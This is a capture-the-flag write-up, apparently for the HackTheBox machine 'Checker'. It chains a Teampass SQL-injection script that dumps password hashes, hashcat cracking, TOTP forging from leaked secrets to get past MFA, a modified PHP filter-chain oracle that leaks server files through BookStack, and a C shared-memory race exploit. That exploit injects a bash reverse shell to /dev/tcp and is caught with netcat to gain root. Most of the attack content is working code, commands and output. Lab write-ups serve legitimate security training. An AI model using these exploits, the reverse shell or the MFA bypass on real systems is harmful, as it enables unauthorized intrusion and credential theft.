0% found this document useful (0 votes)
125 views

Checker - JohnG4lt

The document outlines a penetration testing process on a server at IP 10.129.122.143, detailing the use of Rustscan to identify open ports and services. It describes exploiting vulnerabilities in a Teampass application to retrieve user credentials, including cracking a password hash and bypassing multi-factor authentication. The document also includes advanced techniques for file inclusion attacks and the use of Python scripts to leak sensitive information from the server.

Uploaded by

hamzasakhi.ai
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
125 views

Checker - JohnG4lt

The document outlines a penetration testing process on a server at IP 10.129.122.143, detailing the use of Rustscan to identify open ports and services. It describes exploiting vulnerabilities in a Teampass application to retrieve user credentials, including cracking a password hash and bypassing multi-factor authentication. The document also includes advanced techniques for file inclusion attacks and the use of Python scripts to leak sensitive information from the server.

Uploaded by

hamzasakhi.ai
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 12

Checker - JohnG4lt

$ rustscan --ulimit 10000 -a 10.129.122.143 -- -A -sC

Open 10.129.122.143:22
Open 10.129.122.143:80
Open 10.129.122.143:8080

PORT STATE SERVICE REASON VERSION


22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNQsMcD52VU4FwV2qhq65YVV9Flp7+IUAUrkugU+IiOs5ph+Rrqa4aofeBosUCIziVzTUB/vNQwO
DCRSTNBvdXQ=
| 256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIRBr02nNGqdVIlkXK+vsFIdhcYJoWEVqAIvGCGz+nHY
80/tcp open http syn-ack ttl 63 Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open http syn-ack ttl 63 Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden

HTTP 80 → http://checker.htb/login → add checker.htb to /etc/hosts

HTTP 8080 → http://checker.htb:8080/ → Teampass Login

Teampass PoC search yields PoC via SQLi


PoC + a few tweaks

if [ "$#" -lt 1 ]; then


echo "Usage: $0 <base-url>"
exit 1
fi

vulnerable_url="$1/api/index.php/authorize"

if curl --silent "$vulnerable_url" | grep -q "API usage is not allowed"; then


echo "API feature is not enabled :-("
exit 1
fi

arbitrary_hash='$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'

exec_sql() {
local query="$1"
local payload="{\"login\":\"none' UNION SELECT id, '$arbitrary_hash', ($query), private_key, personal_folder, fonction_id,
groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin\",\"password\":\"h4ck3d\", \"apikey\":
\"foo\"}"

curl --silent -X POST -H "Content-Type: application/json" -d "$payload" "$vulnerable_url" |


jq -r '.token' | cut -d"." -f2 | base64 -d 2>/dev/null | jq -r '.public_key'
}
echo "[*] Retrieving user credentials..."
exec_sql "SELECT GROUP_CONCAT(login, ':', pw SEPARATOR ' | ') FROM teampass_users WHERE pw != ''" | tr '|' '\n'

Execute teampass.sh

$ ./teampass.sh http://checker.htb:8080/
[*] Retrieving user credentials...
admin:$2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob:$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy

Crack Bob Teampass Hash

$ hashcat -m 3200 -a 0 '$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy' .\rockyou.txt

hashcat (v6.2.6) starting


====================
* Device #1: NVIDIA GeForce RTX 4070 SUPER, 11053/12281 MB, 56MCU
OpenCL API (OpenCL 3.0 CUDA 12.7.33) - Platform #1 [NVIDIA Corporation]
=======================================================================
* Device #2: NVIDIA GeForce RTX 4070 SUPER, skipped

Dictionary cache built:


* Filename..: rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 1 sec

$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy:cheerleader

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59N...pJ/tiy

bob : cheerleader → Teampass Login → View Saved Passwords

​ Passwords

Bootstack → [email protected] : mYSeCr3T_w1kI_P4sSw0rD


SSH → [email protected] : hiccup-publicly-genesis

Cannot use SSH as it has MFA enabled


$ ssh [email protected]
([email protected]) Password: hiccup-publicly-genesis
([email protected]) Verification code: fuuuuuuu

Login checker.htb/login → SUCCESS


otpauth://totp/BookStack:bob%40checker.htb?secret=LU5AC77VRECY6E4P&issuer=BookStack&algorithm=SHA1&digits=6&period=30

Maybe we can forge MFA since secret is revealed

$ sudo apt install oathtool


$ oathtool --totp -b <SECRET>
858337

Might need at some point since MFA was enabled for SSH
$ curl -s http://checker.htb/login
*snip*
<script src="http://checker.htb/dist/app.js?version=v23.10.2" nonce="JSbfQEF4YwnUOVmedMYC78Uu"></script>
BookStack v23.10.2 → LFR via Blind SSRF + LFR SSRF PoC

Further explanation → HERE


Testing <img src="data:image/png;base64,ENCODED_PAYLOAD"> in Burpsuite

PUT /ajax/page/<PAGE>/save-draft HTTP/1.1


Host: checker.htb
Content-Length: 162
X-CSRF-TOKEN: p6q968llyoZppWlnr3RtLoRpiJess9eTFnIf6pMr
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Content-Type: application/json
baseURL: http://checker.htb/
Accept: */*
Origin: http://checker.htb
Referer: http://checker.htb/books/asdf/page/new-page/edit
Accept-Encoding: gzip, deflate, br
Cookie: XSRF-
TOKEN=eyJpdiI6IjZFZThQaWZIcXJNRVJxL3lrNmhnZ2c9PSIsInZhbHVlIjoiM3R5WTNSN0l4dFM3aE84MFgwK2R3NjBibXcxUkcyQ0toZFNrbmcwYlJtTXBOT2VUZW
Yxa1Bia0ZwY1NqNTgya0tEeWZQRFBicjNFa0x4VDZERjE2ZHFCYjBDZFE2NGFucDlYM2VyaHpUM05OejJCL1FWSjFyS1c0STVOcGNkYTAiLCJtYWMiOiI3MjJkOTMyMz
lhYzE4NGM2NjAxMTg3NzhlNDI4ZmI5YjUzZmU3MTExNTE2YzA3OWYyYTdmOGUzYjM4ZWM4YWE4IiwidGFnIjoiIn0%3D;
bookstack_session=eyJpdiI6Ijl5cXJud3Y1RDNSQWdESXBIbS9UaHc9PSIsInZhbHVlIjoiV25JcmZUWTVTT21ndFVuMldHSWtCWVZEOGpqRlVCM3M5Um5qY3lrOG
I0YUF0dDMvQm05YWlCVWZ3bTdjcDA3NzdlTFV3cFlVOGo2N2Urdk5SSi9SbkRpbU82ZkNjdklvSEVkQnZQbTVEMU11QWZhZHArTTZwajhvWWdkeVY4Z0EiLCJtYWMiOi
I4ZTY1OTFjNGIwOTkxYjViMmU5OWFmNzY3MWU1ZDM5NWEyZjY3ZGJjZTI4ZTE3NTM4Zjc5MGNhZGVjMDFkMWRiIiwidGFnIjoiIn0%3D
Connection: keep-alive

{
"name": "New Page",
"html": "<img src=\"data:image/png;base64,aHR0cDovLzEwLjEwLjE0LjAwOjY5NjkvdGVzdAo=\"/>"
}

SAVE DRAFT → Edit AGAIN then SAVE PAGE (not draft) → creates img on server containing
cmd
$ curl http://checker.htb/uploads/images/gallery/2025-02/embedded-image-u2aqzr4g.png

http://10.10.14.00:6969/test

Ok lets use the more advanced PoC now that we know img src works

USER
$ git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit
$ cd php_filter_chains_oracle_exploit
$ python -m venv env
$ source env/bin/activate
$ pip install -r requirements.txt

Fix /filters_chain_oracle/core/requestor.py for our needs since base64 confirmed to work

import json
import requests
import time
import base64
import re
import logging
from filters_chain_oracle.core.verb import Verb
from filters_chain_oracle.core.utils import merge_dicts

logging.basicConfig(level=logging.INFO, format="[%(levelname)s] %(message)s")

class Requestor:
def __init__(
self,
file_to_leak: str,
target: str,
parameter: str,
data: str = "{}",
headers: str = "{}",
verb: Verb = Verb.POST,
in_chain: str = "",
proxy: str = None,
time_based_attack: bool = False,
delay: float = 0.0,
json_input: bool = False,
match: bool = False,
):
self.file_to_leak = file_to_leak
self.target = target
self.parameter = parameter
self.json_input = json_input
self.match = match
self.delay = delay
self.data = json.loads(data)
self.headers = json.loads(headers)
self.verb = verb

logging.info("Target URL: %s", self.target)


logging.info("Local file to leak: %s", self.file_to_leak)
logging.info("HTTP Verb: %s", self.verb.name)
if data != "{}":
logging.info("Additional data: %s", data)
if headers != "{}":
logging.info("Additional headers: %s", headers)
if in_chain:
logging.info("Appending chain: %s", in_chain)
in_chain = f"|convert.iconv.{in_chain}"
self.in_chain = in_chain

if match:
logging.info("Using match pattern: %s", match)

if proxy:
self.proxies = {"http": proxy, "https": proxy}
else:
self.proxies = None

self.instantiate_session()
if time_based_attack:
self.time_based_attack = self.error_handling_duration()
logging.info("Error handling duration: %s", self.time_based_attack)
else:
self.time_based_attack = False

def instantiate_session(self) -> None:


self.session = requests.Session()
self.session.headers.update(self.headers)
self.session.proxies = self.proxies
self.session.verify = False

@staticmethod
def join(*args: str) -> str:
return "|".join(args)

def error_handling_duration(self) -> float:


chain = "convert.base64-encode"
normal_req = self.req_with_response(chain)
self.normal_response_time = normal_req.elapsed.total_seconds()

blow_up_utf32 = "convert.iconv.L1.UCS-4"
repeated_chain = self.join(*([blow_up_utf32] * 15))
chain_trigger = f"convert.base64-encode|{repeated_chain}"
error_req = self.req_with_response(chain_trigger)
return error_req.elapsed.total_seconds() - self.normal_response_time

def parse_parameter(self, payload: str) -> dict:


data = {}
if "[" in self.parameter and "]" in self.parameter:
main_param = self.parameter.split("[")[0]
sub_params = re.findall(r"\[([^\]]+)\]", self.parameter)
# Build a nested dictionary structure.
nested = {main_param: {}}
current = nested[main_param]
for idx, key in enumerate(sub_params):
if idx == len(sub_params) - 1:
current[key] = payload
else:
current[key] = {}
current = current[key]
data = nested
else:
data[self.parameter] = payload

return merge_dicts(data, self.data)

def build_payload(self, filter_chain: str) -> str:


encoded_str = base64.b64encode(filter_chain.encode("utf-8")).decode("utf-8")
return f"<img src='data:image/png;base64,{encoded_str}'/>"

def req_with_response(self, s: str) -> requests.Response:


if self.delay > 0:
time.sleep(self.delay)
filter_chain = f"php://filter/{s}{self.in_chain}/resource={self.file_to_leak}"
payload = self.build_payload(filter_chain)
merged_data = self.parse_parameter(payload)

try:
if self.verb == Verb.GET:
response = self.session.get(self.target, params=merged_data)
elif self.verb == Verb.PUT:
if self.json_input:
response = self.session.put(self.target, json=merged_data)
else:
response = self.session.put(self.target, data=merged_data)
elif self.verb == Verb.DELETE:
if self.json_input:
response = self.session.delete(self.target, json=merged_data)
else:
response = self.session.delete(self.target, data=merged_data)
elif self.verb == Verb.POST:
if self.json_input:
response = self.session.post(self.target, json=merged_data)
else:
response = self.session.post(self.target, data=merged_data)
else:
raise ValueError(f"Unsupported HTTP verb: {self.verb}")
return response
except requests.exceptions.ConnectionError:
logging.error("Could not establish a connection to %s", self.target)
exit(1)

def error_oracle(self, s: str) -> bool:


response = self.req_with_response(s)

if self.match:
return self.match in response.text

if self.time_based_attack:
threshold = (self.time_based_attack / 2) + 0.01
return response.elapsed.total_seconds() > threshold

return response.status_code == 500

Execute to leak file contents with your creds from Burp (timing attack so takes awhile)

$ cd ../
$ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/<PAGE>/save-draft' --file /etc/passwd --verb
PUT --parameter html --headers '{"X-CSRF-TOKEN":"<YOURS>","Content-Type":"application/x-www-form-
urlencoded","Cookie":"bookstack_session=<YOURS>"}' --proxy http://127.0.0.1:8080

[INFO] Target URL: http://checker.htb/ajax/page/<PAGE>/save-draft


[INFO] Local file to leak: /etc/passwd
[INFO] HTTP Verb: PUT
[INFO] Additional headers: {"X-CSRF-TOKEN":"<YOURS>","Content-Type":"application/x-www-form-
urlencoded","Cookie":"bookstack_session=<YOURS>"}
[*] File leak gracefully stopped.
[+] File /etc/passwd was partially leaked
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9i
aW46L3Vzci9z
b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/
*snip*'

Remember MFA and Backup clues → /backup/home_backup/home/reader/.google_authenticator →


TOTP secret

$ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/<PAGE#>/save-draft' --file


/backup/home_backup/home/reader/.google_authenticator --verb PUT --parameter html --headers '{"X-CSRF-TOKEN":"<YOURS>","Content-
Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=<YOURS>"}' --proxy http://127.0.0.1:8080

[INFO] Target URL: http://checker.htb/ajax/page/<PAGE>/save-draft


[INFO] Local file to leak: /backup/home_backup/home/reader/.google_authenticator
[INFO] HTTP Verb: PUT
[INFO] Additional headers: {"X-CSRF-TOKEN":"<YOURS>","Content-Type":"application/x-www-form-
urlencoded","Cookie":"bookstack_session=<YOURS>"}
[+] File /backup/home_backup/home/reader/.google_authenticator leak is finished!
RFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT1RQX0FVVEgK
b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'

Can now forge TOTP Code to validate SSH as reader


$ oathtool --totp -b DVDBRAODLCWF7I2ONA4K5LQLUE
050332

$ ssh [email protected]
([email protected]) Password: 'hiccup-publicly-genesis'
([email protected]) Verification code: 050332

reader@checker:~$ ls -la
total 36
drwxr-x--- 4 reader reader 4096 Feb 6 04:22 .
drwxr-xr-x 3 root root 4096 Jun 12 2024 ..
lrwxrwxrwx 1 root root 9 Feb 6 04:07 .bash_history -> /dev/null
-rw-r--r-- 1 reader reader 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 reader reader 3771 Jan 6 2022 .bashrc
drwx------ 2 reader reader 4096 Jun 15 2024 .cache
-r-------- 1 reader reader 39 Jun 14 2024 .google_authenticator
drwxrwxr-x 3 reader reader 4096 Jun 15 2024 .local
-rw-r--r-- 1 reader reader 807 Jan 6 2022 .profile
-rw-r----- 1 root reader 33 Feb 24 02:48 user.txt

ROOT
reader@checker:~$ sudo -l
User reader may run the following commands on checker:
(ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *

reader@checker:~$ cat /opt/hash-checker/check-leak.sh

#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"

reader@checker:~$ ls -la /opt


total 20
drwxr-xr-x 5 root root 4096 Jan 30 17:04 .
drwxr-xr-x 21 root root 4096 Feb 6 04:22 ..
drwxr-xr-x 15 www-data root 4096 Feb 6 04:22 BookStack
drwxr-x--- 13 www-data www-data 4096 Jun 13 2024 TeamPass
drwxr-xr-x 2 root root 4096 Jan 30 17:09 hash-checker

reader@checker:~$ ls -la /opt/hash-checker/


total 68
drwxr-xr-x 2 root root 4096 Jan 30 17:09 .
drwxr-xr-x 5 root root 4096 Jan 30 17:04 ..
-r-------- 1 root root 118 Jan 30 17:07 .env
-rwxr--r-- 1 root root 141 Jan 30 17:04 check-leak.sh
-rwxr--r-- 1 root root 42376 Jan 30 17:02 check_leak
-rwx------ 1 root root 750 Jan 30 17:07 cleanup.sh
-rw-r--r-- 1 root root 1464 Jan 30 17:09 leaked_hashes.txt

reader@checker:~$ file /opt/hash-checker/check_leak


check_leak: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-
64.so.2, BuildID[sha1]=f1d8ae448c936df395ad9e825b897965da88afd8, for GNU/Linux 3.2.0, with debug_info, not stripped

reader@checker:$ cd /tmp

Reversing check_leak → shared memory (SHM) → 0666 perms = global R/W → Race
Condition to inject cmd as sudo
Race Condition - Abuse shared memory to overwrite known string and execute unintended code instead

Ready listener → Create/Compile/Execute

reader@checker:/tmp$ nano pwner.c


reader@checker:/tmp$ gcc -o pwner pwner.c -Wall
reader@checker:/tmp$ ./pwner

pwner.c - (could be better I'm sure)

#include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <time.h>

// From check_leak binary


#define SHM_SIZE 0x400 // 1024 bytes
#define SHM_MODE 0x3B6 // Permissions: 0666 (world-writable)

const char * payload = "Leaked hash detected > '; /bin/bash -c \"bash -i >& /dev/tcp/<IP>/<PORT> 0>&1\";#";

void inject_payload() {
key_t key = rand() % 0xfffff;
int shmid = shmget(key, SHM_SIZE, SHM_MODE);
if (shmid == -1) {
perror("shmget failed");
exit(EXIT_FAILURE);
}

char * shmaddr = (char * ) shmat(shmid, NULL, 0);


if (shmaddr == (char * ) - 1) {
perror("shmat failed");
exit(EXIT_FAILURE);
}

printf("\n[+] Injecting payload...\n");


snprintf(shmaddr, SHM_SIZE, "%s", payload);
shmdt(shmaddr);
}

pid_t find_target_pid() {
FILE * fp;
char path[128];
pid_t pid = -1;

fp = popen("pgrep -f '/opt/hash-checker/check-leak.sh'", "r");


if (fp == NULL) {
return -1;
}

if (fgets(path, sizeof(path), fp) != NULL) {


pid = atoi(path);
}

pclose(fp);
return pid;
}

void race_exploit() {
pid_t target_pid = find_target_pid();
if (target_pid > 0) {
printf("\n[+] Found process: %d\n", target_pid);

if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == 0) {


waitpid(target_pid, NULL, 0);
inject_payload();
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
}
} else {
printf("\n[-] No target process found. Exiting.\n");
}
}

int main() {
srand(time(NULL));
printf("\n[+] Starting race exploit...\n");

if (fork() == 0) {
system("sudo /opt/hash-checker/check-leak.sh bob");
exit(0);
}

usleep(40000);

race_exploit();

return 0;
}

Listener
$ nc -lvnp 6969
listening on [any] 6969 ...
connect to [10.10.00.00] from (UNKNOWN) [10.129.00.00] 54840

root@checker:/tmp# ls -la /root


total 36
drwx------ 6 root root 4096 Feb 28 16:28 .
drwxr-xr-x 21 root root 4096 Feb 6 04:22 ..
lrwxrwxrwx 1 root root 9 Feb 6 04:07 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwx------ 5 root root 4096 Feb 6 04:22 .cache
drwxr-xr-x 5 root root 4096 Feb 6 04:22 .config
drwxr-xr-x 3 root root 4096 Feb 6 04:22 .local
lrwxrwxrwx 1 root root 9 Feb 6 04:07 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
drwx------ 2 root root 4096 Feb 6 04:22 .ssh
-rw-r----- 1 root root 33 Feb 28 16:28 root.txt

Since we are injecting cmd to run as root, could add SSH keys or directly read flag etc.

You might also like